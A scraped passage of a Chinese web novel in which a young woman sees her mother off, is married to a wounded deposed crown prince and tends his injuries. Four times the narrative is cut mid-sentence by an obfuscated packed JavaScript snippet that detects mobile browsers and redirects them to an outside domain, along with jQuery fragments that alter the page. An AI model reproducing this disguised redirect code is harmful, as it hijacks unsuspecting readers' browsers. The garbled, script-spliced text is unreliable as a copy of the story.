按照安国公府的安排,明日国公爷会派一辆马车,送阿娘她们出城,一路走官道经过颍州、洛川县和临阳,然后到达云州。 听起来真是令人心动的安排,但江知雪不觉得向来不闻不问的他会突然铁树开花,安了好心。 所以那日接旨后,她特意寻求江眠星的帮助。 那些日子,江知雪对着舆图暗地里和江眠星研究了上百条路线,不是路况危险会有流匪作乱,就是会遇到官府的人,或是和安国公的人碰面,始终无法敲定。 连日的无果,让江知雪有些挫败,心下更是焦急。江眠星见她如此,便劝她先回去休息,剩下的事她会想办法,派人出去打听打听。 终于,江眠星在临行前一天办妥,还贴心地送来了路线图,江知雪悬着的一颗心总算落了地。 根据纸上所书所绘,明日阿娘会先乘坐安国公府的马车出城,行至岔路时,会有一伙人过来偷梁换柱,将阿娘她们转移至提前备好的另一辆车,经已摸排的各种小路,抵达繁州暂住。那里有江眠星相熟的人照应,等过段时间,一切稳当,再送阿娘入云州。 如今阿娘的一切都压在江眠星身上,江知雪只希望对方是真心实意,她将一辈子对其感恩戴德。 时间飞快流逝,似乎只是眨个眼,天就黑了。外面雪已停,只余寒风在呼呼刮着。 江知雪躺在床上辗转反侧,一会儿想到阿娘未被及时接送走,而是随着安国公府的马车一路向前,最后从高处跌落;一会儿又是江眠星的马车遇上了官府中人,官员将此事告知安国公,安国公气极,立刻派人追杀;一会儿又是路遇流匪,当场身亡…… 她使劲拍了拍脸:“不行,我在想什么呢!阿娘她们一定会平平安安,我理应相信江眠星才是。” 可思绪还是不住往那方面想去,就这样一直反复,最终在这些思绪里沉沉睡去。 一夜无梦。 翌日,东方刚闪出一丝天光,江知雪就睁开了眼。 园中已传来窸窸窣窣的声响,她霎时清醒,动作极快地穿好衣服开门,就见李婶她们已把一切打点妥当,搁置在廊下。 云双见小姐醒了,将在厨房热着的水端去,江知雪快速洗漱完毕,扎了个耗时短的发髻,随意用一支珠钗固定着,就连忙向阿娘跑去。 “阿娘,怎么不多睡会儿,安国公的马车哪能这么早就到?” 秦轻水温柔地摸了摸她的头:“一想到今日就要离开这里,离开你,实在是睡不下。” “姑娘她啊,你别看她现在挺风轻云淡的,昨晚可是一直和我碎碎念呢。”李婶在一旁补充:“怕你和云双两个人饿着冷着,受人欺负了。说自己不是个称职的阿娘,哪有阿娘不看着自己女儿出嫁的。又怕你日后过得不好……” “翠兰姐。”秦轻水见李婶越说越多,直把她羞得不行,连忙出声阻止。可一出声,就是一阵哽咽,索性不管不顾了,将江知雪搂入怀中哭出声来。 “我苦命的女儿。”她面容悲戚。 李婶也眼泛泪花,拿手中帕子擦拭着。 江知雪感受着阿娘的温度,心下一片柔软。 “放心吧阿娘,我会照顾好自己的。” 秦轻水还是止不住念叨:“我不在的时候,你在引梅园就不要出去了。日后嫁给太子,你也小心些,虽说传言不可轻信,但他从前毕竟是高高在上的太子,骤然失意,怕是情绪无常。 若他真如传言那般暴戾恣睢,你暂且忍耐,等出了城,便想法子来云州寻我,他才从天牢出来,定是受了折磨虚弱着的,届时你们二人齐心合力。阿娘会护着你的。” “嗯,我知道了阿娘。”江知雪听着阿娘的唠叨,也不由得哭了起来。 她们在厅屋吃了早饭,又说了许久的话。期间,秦轻水重新为江知雪挽了发髻。 天光大亮,阳光透过云层照在雪上,一地晶莹。 屋檐有水滴落,是雪融化的声音。 园外传来马蹄踢踏声和车轱辘压在地面的声音,安国公府的马车到了。 江知雪双手不自觉轻颤。 敲门声已然响起,云双跑去开门。秦轻水对江知雪最后一次小声嘱咐着,她们和李婶一起往外搬着行囊。 云双以为只有车夫一人,谁知一打开门,就见安国公和安国公夫人及江望月站在门外,连杨氏和江眠星都来了。 她眼皮一跳,连忙正色行礼:“奴婢见过安国公、夫人、大小姐,见过杨姨娘和二小姐。” 园内三人听见云双的声音,互相对视一眼,都在对方眼中见到了凝重。 她们连忙将行囊放下,快步过去对外面的人行礼,并客气将人迎进门。 “国公爷怎么过来了?”秦轻水温声问道。 江奉山眼睛自然扫过园内,很难想象昔日娇滴滴的云州首富之女能在这样一个园子里生活这么久,并打理地井井有条。 他脸上带着笑,难得耐下心来同秦轻水说话:“好歹你曾是我的妾室,如今放你离开,过来看看送你上路也是应当的。” 江知雪感到一股恶寒,连带着看着他的笑都觉得不怀好意。 “那真是多谢国公爷了。”秦轻水听出对方讽刺自己不过是个妾室,亦笑着阴阳怪气答谢。 两人皆笑着盯着对方,颇有种水火不容的架势。 一旁的陆平瑶最先沉不住气:“秦轻水,我警告你,你别给脸不要脸!我们能过来这种地方是对你的恩典。” “那也得谢过安国公夫人。”秦轻水完全不吃她那套。 陆平瑶好似一拳打在棉花上,浑身不得劲儿,脸都绿了。 杨氏张张嘴也准备说点什么,被江眠星一把拉住了。她愤恨地瞪了自己女儿一眼,谁知对方敢回瞪她,给她气得瞬间不想说话。 空气安静了好一会儿,安国公才出声道:“好了好了,时辰也不早了,就不寒暄了。来人呐,帮秦氏把东西搬上马车。” 下人手脚麻利,很快就将东西拾掇好。 秦轻水也不废话,直向马车走去。 江知雪和云双跟在她们二人身后,扶着她们上了马车。 “好好照顾自己。”秦轻水最后对她说。 李婶也在后 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16215271|180836||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 头嘱咐着云双:“云双,一定好好照顾小姐。” “我会的。”云双站在底下挥手,红了眼眶。 车夫见一切都准备好了,坐在前头,挥动马鞭。 车轮滚动,江知雪已拉不住阿娘的手,她跟随马车向前跑去,终是跑不过马车,跌坐在地。 秦轻水不忍再看,狠下心拉上帘子,抱着李婶痛哭。 江知雪望着马车渐渐远去,直至在视野消失,觉得心里空了一块。泪水顺着脸颊滑落,好半晌,她都无法回神。 还是云双将她拉起,扶回引梅园。 安国公冷眼看着她,只说了一句:“好好准备出嫁吧”便离去了。 一行人也都跟着离去,只江眠星隐晦地与她点了点头。 四周复又安静下来,只余冰水融化的声音。原本僻静的引梅园在江知雪看来,更加寂静。 她红肿着眼睛,扫过园中的一砖一瓦、一草一木,一切都是原来的样子,屋中板凳甚至还残存着阿娘的体温。 可是阿娘不会再回来了。 “小姐,别哭了,还有我陪着你呢。”云双轻拍小姐后背。 “嗯。”江知雪嘴上应着,却还是呆呆坐在厅屋凳上,回忆着和阿娘共度的时光。 云双无法,只得直起身向外走去:“小姐,我去煮碗姜汤。” 隐在树中的黑影看了场母女情深的大戏,内心不由得咂舌:「还是个感性的家伙。」 直到太阳挂在中空,江知雪才缓缓回过神,她大喊着:“云双,云双!” “来了来了。”云双快步跑来,“小姐怎么了?” “我饿了。” 知道饿就说明伤心够了,云双彻底放下心来:“好嘞,我现在就去做。” “麻烦你了,晚间的饭我来负责。”江知雪不好意思地绞着手。 “天天做我都乐意,我去忙了啊。” …… 夜幕悄然降临,今夜的引梅园入睡得极早。 四下寂静,眼看再探听不到什么,黑影打着哈欠正欲离去,却突然敏锐地察觉到了什么。 「有人。」 有脚步在快速往这边移动。 他重新集中精神,双眼锐利地看向那人的方位。 「三,二,一。」 “一”字刚落,便有人踏着轻功站在了墙上。看身形是个男人。 黑影随意扯过一片桂叶,将其夹在手中向墙上飞去。 “啊!——”短促的一声叫喊,那人往外倒去,随后是沉闷的一声响。 「好大的胆子,三脚猫的功夫也敢来偷人,碰上你爷爷我算你倒霉,不是谁的人都能觊觎的。」黑影腹诽。 好半天没听见动静,黑影估摸着对方是晕过去了。 他一个瞬移,轻飘飘落到地上,定睛一看:“嚯,这不是最近外面风头正盛、炙手可热的广平侯府谢二公子吗?” 他俯下身子,轻轻捏着倒在地上不醒人事的谢怀清下巴,左右细看:“长的不赖,但大半夜不睡觉,跑到这来干偷鸡摸狗的事儿,要点脸不?”似是气不过,又使劲儿拍了拍,直把对方脸上的细皮嫩肉给拍肿了才罢休。 他将谢怀清身旁自己的脚印抹掉,又从对方肩头找出那片已带了血迹的叶子,随后一个轻功便离开了。 只留下谢怀清孤零零地躺在地上,冻了大半夜才清醒,冷得直发抖,带着一身伤灰溜溜地往家赶。 15. 成婚 “火树银花合,星桥铁锁开。” 上元佳节,灯火如昼,歌舞尽欢。 地上炭火正旺,江知雪与云双窝在屋内,透过窗户看着天上炸开的烟火,听着远处传来的热闹。 安国公那边一早派人传话,今夜子时一过,废太子就会被释放出狱,明日宫中便会来人接她,让她做好准备。 一切都太过仓促,她原本以为至少得再过段时间。不过好在此前她都在积极为成婚一事忙碌着。婚姻大事,即使无亲朋,所嫁为罪人,她也不想留有遗憾。 “小姐,你说废太子是个什么样的人呢?”云双靠坐在榻上,双手枕着头,看着天上绚烂的烟花出声问道。 江知雪正右手撑脸,又思考了一遍所带物件是否还有遗漏,听云双这么问,脑中浮现出某次文宴和那日街头她和太子的对视。 “我见到过他两次,一次文宴,他的眼神如毒蛇;一次便是上回咱们在望雀街,太子去泰安寺祈福,他的眼神冷漠去冰。无论哪次,都让人遍体生寒。” 云双面露惊讶,她没想到小姐真见过那位传说中的废太子,更没想过小姐会是如此评价:“那、那他是不是很可怕,会不会真如外界传的宛如恶鬼?” “或许是吧。”安国公府尚且吃人不吐骨头,深宫里长大的人,绝不可能简单。 江知雪思绪从回忆里抽出,转头就见云双一脸担忧,连忙笑着安慰:“但再怎么着他也是人,从天牢那样进去一趟都得脱层皮的地方出来,何况还废了,怎么想都不是我们俩的对手。” “嗯……要实在打不过,咱们就跑。”云双补充。 “这个主意好。” 但江知雪心里清楚,天家赐婚,如何能逃。 漏中沙子一点一点向下流逝,锣鼓敲响已四更。 天牢最深处,牢房被狱卒打开,铁链互相碰撞,发出清脆声响。 “子时已过,你可以出来了。” 沈思安早已全身僵硬麻木,良久,才缓慢有了动作。 狱卒明显耐心有限:“动作这么慢,怎么?还以为你是那个众人景仰的太子吗,是想让我们请你出去?” 沈思安没有反应,只艰难起身,一步一步往门口挪动着。 那日皇后亲临,狱卒只道母子情深,并不知具体发生了什么。加上废太子自被捕入狱,几乎从未开口,他们以为他还在摆太子架子。 先前说话的狱卒从背后猛地推了他一把,骂骂咧咧道:“让你走快点,耳朵聋了吗?哥几个可不止伺候你一个!” 沈思安一个趔趄,直接趴在地上,四肢传来噬骨的疼痛,他多次尝试却再无法起身。 那狱卒见他久无动作,嘴里“啧”了几声,喊了几个弟兄把他捞起,抓住他双手铁链,连拖带拽地把他往外拉。 手脚又开始流血,铁链磨着伤处,似要将血肉磨烂。沈思安惨白着脸,宛如提线木偶,几步一踉跄。 外面不知何时又下起雪,地上已积起厚厚一层。 天牢外,早有一太监举着伞候在门口,旁边一车夫架着辆马车。狱卒将废太子拉到门外,又是狠狠往马车那儿一推。 沈思安重重摔在马车外壁,头磕到木沿,没一会儿便鼓起个大包。 寒风呼啸,他一身单薄囚衣,光脚踩在冰冷的雪上,只觉得浑身血液变得冰冷,连疼痛都因此减弱了几分。 太监几步过去扶住他,转头一脸不赞同地看向狱卒:“可别把人弄死了,到时候谁都交不了差。” “放心吧,死不了。”那狱卒无所谓地摆摆手,“那废物命硬着呢。” 太监没再说话,但明显松了一口气。他和车夫一起将人弄上马车,向狱卒告辞,随马车出了皇宫。 雪下得越来越大,马车摇晃着驶向偏僻小道,停在一处高大宅院前。院外有官兵重重把守,太监下车从腰间取出一枚令牌交给守门官兵,对方仔细查看确认后方才放行。 院内枯木摧折,蛛网遍结,破败不堪,与院外所见形成鲜明对比。一打开门,沉重的腐朽和霉味扑面而来。 沈思安早在一路的颠簸中晕死过去,二人将他拖至屋中,放在榻上,便迅速离去了。 空气静默,一刻、两刻,直到周围再无动静,黑影从房梁一跃而下。 「这都是什么破环境,狗皇帝真是不做人。」他边吐槽边走向榻边,看到沈思安的状态时,眼神似乎能杀人。 沈思安双目紧闭,浑身冻得发紫,在昏迷中不自觉发着抖,可他的额头却沁出一层薄汗。 黑影伸手触了下,简直烫得吓人,连忙从怀中摸出瓷瓶,倒了枚丹药喂进沈思安嘴里。以防别人察觉,他不敢用最好的药,也不能帮他处理伤口,只能眼睁睁看着他痛苦的样子,狠下心离去。 风雪一夜未歇。 江知雪醒来时,天还没亮。今日是她出嫁的日子,须得早早起来做准备。 云双也起了,正捧着一个锦盒过来,那里头装着小姐的嫁衣。她开门时,江知雪已经在梳妆镜前坐下。 “小姐,需要先洗漱吃点东西吗?” 距离迎亲还时辰尚早,江知雪点了点头。 待二人吃完,便是开脸净面、梳妆打扮。这些流程还是秦轻水在这里时教给她们的。 没有喜娘,没有亲朋,没有祝福,只两个小姑娘在小屋里根据从长辈处听来的习俗生疏地忙碌着。 “一梳梳到尾,二梳梳到白头齐眉……”云双在江知雪身后为她梳发,嘴里唱着祝颂词。分明简陋又不合规矩的准备,可还是叫江知雪哭红了眼。 头发被高高挽起,戴上阿娘留下的头面,正红的嫁衣穿在身上,再披一层霞帔。浅施粉黛,厚抹胭脂,施施然站起,生动又明媚。 她的双手抚摸着窗上尤新的窗花,一一看过屋中装饰,值钱的东西早被变卖,日常用具也被收起,只剩些搬不走的东西,如今的引梅园不过一座空壳,唯炭火还冒着热气。她只觉得一切似在梦中。 不知等了多久,门外终于传来敲门声,云双跑去开门 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16247771|180836||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,将人迎进屋内,是上次宣旨的公公。 江知雪正欲行礼,就见那公公摆了摆手,伸手虚虚托起她:“欸,咱家私下里可不兴这套。”说着又仔仔细细瞧了几眼她:“三小姐比上次看起来又漂亮了。” “谢公公夸奖。”江知雪礼貌笑着。 “我姓李,你称我李公公就行了。”李公公是越看江知雪越满意,连自称都变了。他看了看天色,又道:“时辰差不多了,咱们这就出发吧。” 江知雪就等他这句话,她实在不知如何应对宫中之人。 三人撑伞来到庭院,云双搬来大包小包的物件,江知雪略有些尴尬,她不好意思向李公公道:“不知这些东西,车中能否放下?” “宫中并未配轿,我见三小姐也不似准备了马车的样子,这车……”李公公及时止住话头。 “走、走着去吗?”江知雪和云双大惊。 李公公但笑不语。 江知雪明白了他的意思,看了眼身上的嫁衣和脚上的绣鞋委婉道:“能否劳烦李公公稍等片刻,这身衣服实在显眼,加之风雪又大的,我想先换回常服。” 李公公点头表示理解。 “真是多谢李公公了。”江知雪感激地行了一礼,又面向云双:“云双,挑些急需物品带着,其他的放回去吧。”最后一句她说得有些肉疼。 “三小姐打住,虽不能坐轿,咱家还是带了些人手过来的,行囊自有他们去拿。”李公公拍了拍手,园外进来四个壮汉,虽身穿普通服饰,但那举止仪态,绝不是普通人所有。 江知雪进屋,在云双的帮助下快速换上常服,嫁衣重新叠放进锦盒,被云双拿包袱裹着带上了路。 许是下雪天时辰尚早,又或者李公公他们故意绕路,一路上,江知雪没见着几个人。 寒风钻吹在脸上手上,冻得人发麻,又时不时钻进衣领,让她一个激灵。 一行人来到小路,越走越偏僻,四周皆是人迹罕至的样子。不知过了多久,才见不远处突兀耸立着一座高大宅院。 红墙绿瓦,江知雪正准备感叹圣上还是念着父子亲情时,就瞧见了外围守着的官兵。她的一颗心也随之沉了下去。 李公公将她们带到,拿出腰牌,让那几个壮汉进去放东西,又同守门将士寒暄了几句,便转身对江知雪道:“此处便是废太子的居所,三小姐一路辛苦。圣上还等着咱家回去复命,就先告辞了。” 江知雪同样回礼:“公公慢走。” 等到李公公几人走远,江知雪才带着云双往院里走去。 大门自她们踏进的那刻就被关上,云双有些害怕:“小姐。” 江知雪安抚性地轻拍了拍云双的手,抬头观察起院落。树木枯死,上头尤挂着蛛丝,墙层脱落,路面破损,根本不像是有人住的地方。 又联想到昨日安国公派人说昨夜子时太子才被放出,莫不是一出牢狱就被送到这里来。 江知雪越想越心慌,也不管宅院破不破了,赶紧往屋中跑去。 16. 治伤 门被推开,灌进满屋风雪。 无处散发的腐朽混杂着潮湿的空气直冲脑门,隐约还夹杂着一丝血腥气。室内昏暗不透光亮,江知雪绕过破洞屏风,往内屋走去。 榻上果然躺着一个人。 “啊!”后进来的云双毫无心理准备,瞧见这场面,不禁吓得大叫一声:“小姐,这、这、这是谁啊,不会是死了吧。”她不敢将榻上之人与太子联想在一起。 江知雪走上前,颤抖着手探了探对方鼻息,还有呼吸,没死。 紧张的心才稍放下来些,手不自觉碰到对方皮肤,一股灼热感袭来,烫得她瞬间移开了手。江知雪惊呼,连忙吩咐云双:“快,去准备些凉水来,太子他正发着高热。” “好好好,我这就去。”云双脚下动作不歇,心里却泛起嘀咕:「那人竟就是废太子,那么虚弱,怎么看都是要死了的样子。」 屋内又传来小姐的声音:“雪水也行。” 江知雪思考着从前自己发热时阿娘的做法,趁着云双备水的间隙,从行囊里抱出一床被子,给沈思安盖上,又翻找出一支蜡烛和几块布巾,并一些早前准备的清热药材。 万幸是下雪天,云双回来得很快。 烛台放置在屋内桌上,烛火随着云双走动中带起的风轻轻跳动着。江知雪寻了个凳子,将雪水放在上面,又嘱咐云双去煎熬桌上药材,她满脸歉意:“麻烦你了。” 倒是引得云双惊奇,临出门前还不忘回过头,眼神委屈道:“小姐这是说的什么话,你的事就是我的事。” 天气寒凉,雪水难融,江知雪无法,只得将烛台也放在凳上,来加速它的融化。又怕他烧坏了,用布巾裹了些雪,先敷在他额头。 烛火明灭,照在沈思安的脸上,江知雪出神地看着。他和之前所见大不相同,脸上脏兮兮一片,脸颊凹陷,显得眼窝越发深邃,唇色苍白裂开,头发乱作一团,枯燥干黄,只依稀从眉骨辨别出往日模样。 盆中渐渐积蓄起一些水,江知雪将布巾浸湿,拧得半干,再叠起来放在他的额间,回身又取出另一条布巾,准备为他擦擦胳膊和手降温。 她小心掀开被子,强装镇定,可手在触上对方胳膊的瞬间,还是尴尬到不自然了起来。 铁链随着他的动作发出声响,江知雪心下大惊,这才注意到他的手上还绑着铁链。 手腕早已血肉模糊,铁链依旧不知休止,继续残忍地磨着他的血肉。他还是身穿着那身囚衣,被血色浸染地不成样子。 看着衣袖上的血迹,江知雪猜测恐怕不止那一处伤口。 分明记忆中还是金尊玉骨的样子,她看着如今榻上的人,难以想象这得有多疼,他又是靠着怎样的意志力才煎熬到现在。她不敢再动,只小心擦拭着他的胳膊。 蜡烛燃至一半时,云双才捧着一碗药姗姗来迟:“小姐,这哪里是人住的地方,厨房连根柴都没有,我想出门去寻些,那些官兵凶神恶煞,直接给我推了回来。好在院中还有些枯木,只是被雪浸湿,烧了好久才燃起来。”她的脸上尽是黑烟熏着的痕迹。 江知雪拿过药碗,心疼道:“你受苦了,若非我眼下腾不开手……”她再难说下去,深深叹了一口气,坐下给沈思安喂药。 她轻轻吹散勺中热气,学着阿娘哄她喝药的样子,柔声哄道:“来张嘴,我们喝药了啊,喝完就不难受喽。” 借着烛火的光,云双这才看清废太子的模样,越看越替小姐抱不平:"小姐,我原想着就算再不济他也是醒着能动的,如今这个样子,我看分明是出气多进气少了。" 江知雪自认有愧于云双,这住所更是比不得引梅园,何况外面还有官兵把守,心里有落差抱怨几句很正常,因而并未阻止。 喂药进行得很顺利,江知雪从没伺候过人喝药,并不知道人在昏迷的状态下是喂不进东西的。 沈思安早在她们进屋时就醒了过来,身上的高热也不过昨夜黑影那颗药丸的功效。他听着身边一声声的叹息,不知如何面对三小姐,亦出于本能的试探,便装作还在昏迷。 云双还在喋喋不休:“说什么赐婚,不过是找个人伺候他罢了,若是死了,我们不知还要担什么罪责。小姐,不若等到出发离开京城,咱们就逃吧。” “若是你吃不了这份苦,我不怪你,待到出城,我便放你离开,你可去云州寻我阿娘。”江知雪站起身,将空药碗重重放在桌上,震得瓷勺叮咚作响。 “可是小姐,你昨晚不是说......” 江知雪打断她:“天家赐婚,哪里有逃的余地。就连圣上的亲儿子,受人敬仰的太子都成了这般模样,我若逃了, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16247772|180836||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 只怕是与我有关的所有人都死无葬身之地。”她闭了闭眼,压抑住情绪,徒留无奈:“昨晚那么说不过是安慰你,也安慰我自己罢了。” 云双终于认清现实,却还是不死心道:“是我错了,我只是心疼小姐,明明已经够苦了,还要照顾一个废人……” “他已经是我的夫君,你的姑爷了,他不是废人。”江知雪再次打断她,语气坚定。 “罢了,你去将药材拿来,再备些吃食吧,清淡些。”看着云双心伤的神情,江知雪到底不忍再责备,站起身抱着她安慰道:“好云双,对不起,是我说话重了。但是你要清楚,我现在与太子绑在一起,一损俱损。他如今这模样,我也无法坐视不管。” 云双见小姐坚持,终是点点头:“我知道了小姐。” “去吧,明日我替你。” 屋内恢复了寂静,江知雪又更换了几次布巾,看着太子虚弱的模样,思虑再三,还是决定为他上药。 她嘴里轻声说着:“对不住对不住,我只是替你上药。”随后掀开被子,触目所及是鲜血染红的衣服。 江知雪又放下被子,“还是得先为你擦洗一番,更换衣物。” 第一次做这种事,还是个今日才见面的陌生男子,又这么虚弱,她完全毫无头绪,忙得如同乱头苍蝇。 找来衣物,江知雪看向盆中已变得浑浊的水,又出门去寻云双。 待一切准备就绪,江知雪早前冻得冰冷的身体都热了起来。 她再一次做好心里建设,鼓足勇气,将太子身上浴血的囚衣扒下,嘴里小声碎碎念:“我只是上药,我只是上药。” 衣物被伤口粘黏,江知雪不忍细看,手上越发小心翼翼。 可即便再小心,伤处还是渗出鲜血,她心跳如雷,身心都集中在如何扯下衣物,全然不知沈思安已睁眼看了她许久。 眼前人并不似皇后所说,只是娇柔瘦弱,并不机警,处理事情毫无章法,一看就是被护着长大。 江知雪简直费尽心力,每撕开一点衣物便用干净布巾轻轻擦掉渗出的血珠,生怕一个不慎血流不止。 榻上人瘦得可怕,身上遍布骇人伤痕,新旧交替,深入皮肤,一看就是饱受折磨。 又是一声叹息,江知雪转身拿药,一抬头,不期然与太子对上视线。 17. 温度 那是怎样的眼神呢?毫无生气,空洞、麻木且冰冷,江知雪心头一颤,解释的话到了嘴边又咽下去,只尴尬得脸上一片绯红,从脖子蔓延至耳迹。 但药还是得上,她顶着对方的目光,取了药瓶回身干涩解释着:“殿下您醒了,我正准备给您上药呢,您伤得太重了。” 见对方眼睛又盯着药瓶,江知雪怕他误会,虽难以启齿但还是匆匆说道:“啊对了,我是圣旨赐婚的您的……妻,您放心,我不会害您的。” 随后不再看他,一心擦拭涂药。 天寒地冻,冷风从破窗灌入,分明能冷到令人发抖,可屋中二人却体感灼热。 江知雪蘸着药膏的手指触上他有伤口的胸膛。擦拭干净的肌肤因久不见阳光,显得过分白皙,指下传来的温度滚烫,胸膛随呼吸轻轻起伏,激起她一阵颤栗。 江知雪脸红得几欲滴血,可他身上伤口容不得她胡思乱想。 药铺掌柜曾说生肌续骨膏性烈,伤处碰上宛如蚀骨灼心。这药她闻着都辣,才敷于伤口,周围便泛起刺红,可太子竟一声未吭,恍若未觉。 那伤处深可见骨的手脚腕更是让她下不去手,每次触碰无异于磨他血肉,竟让她生生落下泪来。 温热液体滴落在沈思安的手上,他瞥见江知雪面上泪痕,理所当然认为她是被伤口吓到。 他情绪未变,料想果然如此,终究是在宠爱里长大的闺阁小姐,日后的路不适合她,何况底细未明,得想个法子送她离开。 烛火燃烧至底端,呈虚弱之势,晃动得越发厉害。江知雪小心为他换上衣服,盖好被子,坐回桌旁,重重呼出一口气。 她的额头已出了一层薄汗,看着桌上堆积的伤药,不由得为自己的提前准备感到庆幸。 榻上之人闭上眼,似乎又睡了过去。 江知雪这才注意到他的脸上还是脏污一片,又走过去为他擦脸。 「都怪他一直盯着,害得我都不敢看他的脸。」江知雪一想到他的眼神就感到毛骨悚然。 布巾蘸上热水,沿脖颈一路往上。经过他苍白干裂的嘴唇,轻抚他的面颊,擦拭上他的眉眼。 右边眼角的紫红痕迹蔓延至额边,因脏污的拭去显露出来,江知雪的动作一顿。 蜡烛的火苗越来越小,渐渐淹没在还未凝固的烛泪中,室内重归晦暗。 许是光线不好花了眼,江知雪揉揉眼正欲细看,谁知太子突然睁开眼,她就这样又与他对上了视线。 江知雪心头一跳,完全是被吓的。 一个本该是睡着了的脸色病态苍白的人,突然睁开一双空洞冰冷的眼看向她,右眼的痕迹因光线幽暗更显诡异。刚刚那一下子,江知雪还以为他是索命的恶鬼。 “原来您没睡着。”江知雪尴尬笑笑,不敢再看他的脸,手中动作也不敢停,心中只求太子能别再看她。 沈思安当真没再多看,他垂下眼,看向身上干净的被褥,感受着额头轻柔的擦拭。温热透过皮肤,似要传向四肢百骸。 他从未想过一个人的触碰竟能如此温柔。 可是…… 脑海里闪过方才三小姐触碰他右眼时的停顿,以及他睁开眼时看到的她受惊吓的样子。 「一定很恶心吧。」他不自觉在心里想道。 这也是宫中人对他最常说的一句话。 额头温热撤去,贴过来一只微凉的手,“还是很烫。”江知雪自言自语道。 “殿下,您觉得怎么样,有没有感觉好一点?” 榻上之人不为所动。 江知雪见他死气沉沉的样子,倒是非常理解,十分动容。 几个月前她因谢怀清都痛苦得不能自已,遑论太子殿下从云端跌落泥地,甚至被折磨成这副模样,没有疯癫已是心志坚定。 最重要的是他那看死物的眼神,江知雪只好退而求其次:“我先去厨房看看饭做得如何了,顺便再取些炭火。若您有事或不舒服了直接唤我即可,我叫江知雪。” 江知雪自认妥帖,临走前还帮他掖了掖被角,关上了门。 屋外银装素裹,将一切纷杂破败掩盖。 行至半路,江知雪突然僵住,她刚刚似乎说了什么糊涂话。 “他如今口不能言,手不能动,已经废了。”耳边又响起那日谢怀清的话,可她刚刚让他有事唤她…… 江知雪一个头两个大,她已不知如何面对他,总觉得今天一天受的惊吓和尴尬抵得上往年一年。 黑影不知何时又悄悄摸了过来,瞧着沈思安与昨夜全然不同的样子,眼睛都瞪大了。 “她竟做到如此,我还以为那位三小姐躲在某处想着她的小情郎呢。”他咂舌道。 复又走近几步,一股刺鼻的药味袭来,黑影立时皱眉:“什么药这么难闻?她给你上的?” 说完也不管沈思安做何反应,一把掀起被褥,扒拉开他的衣服,就见伤处红肿溃烂。 才因照顾沈思安而对她有的一点好印象瞬间荡然无存,“她这是要谋杀你呢?”黑影咬牙切齿道,“你又不是不会分辨药物,这种东西涂在伤口如万蚁蚀心,严重点是要人命的。” 他从怀中掏出一堆药瓶,急急忙忙为沈思安处理伤口,因为气愤,下手的力道颇重。 沈思安眉头轻蹙,呼吸加重。黑影察觉,嘴里恨铁不成钢道:“现在知道疼了?之前的骨气哪去了?若非这药味道重,是不是要等着全身皮肤烂掉才吭声?” 沈思安将头偏向一边,不再看他。 黑影也意识到自己说话过重,收敛了些手中力道,声音也平和了一些:“那位三小姐我查过了,与外界传闻完全不符,她的性格和长相你应该已经知道了,我就不多废话。不过她似乎是个有心机的,连江湖人都认识。” 说到这儿,黑影瞥了眼沈思安,见对方抬眼看着天花板,似乎听得认真,又压低了声音:“年初三那晚,我准备离去时,看见一人影翻上了三 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16260767|180836||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 小姐园中的墙,我将其击落,打眼一瞧,你猜猜是谁?” 黑影略微停顿了一会,才又自问自答道:“那人竟是广平侯府嫡次子谢怀清,当时他可是名声大噪,跑一个声名狼藉的将出阁姑娘家做什么。我寻思着不对劲,又去查了查那个谢二公子,没想到他竟是三小姐的青梅竹马小情郎。只不过现下她那小情郎似乎巴结上了柳丞千金,三小姐为此可是好一顿难过。” 黑影处理伤口极快,几乎是话音落下,他的瓶瓶罐罐就已经收起,一切一如江知雪走时模样。 “你说我要不要……那个三小姐?”黑影用手在脖子上比划了一下。柳丞相可是个狠毒人物,表面不站队任何皇子,实际上与皇后暗通款曲,只怕这三小姐也与他有一定联系。 直到这时,沈思安才终于有了明显动作,他摇了摇头,无声叹息。 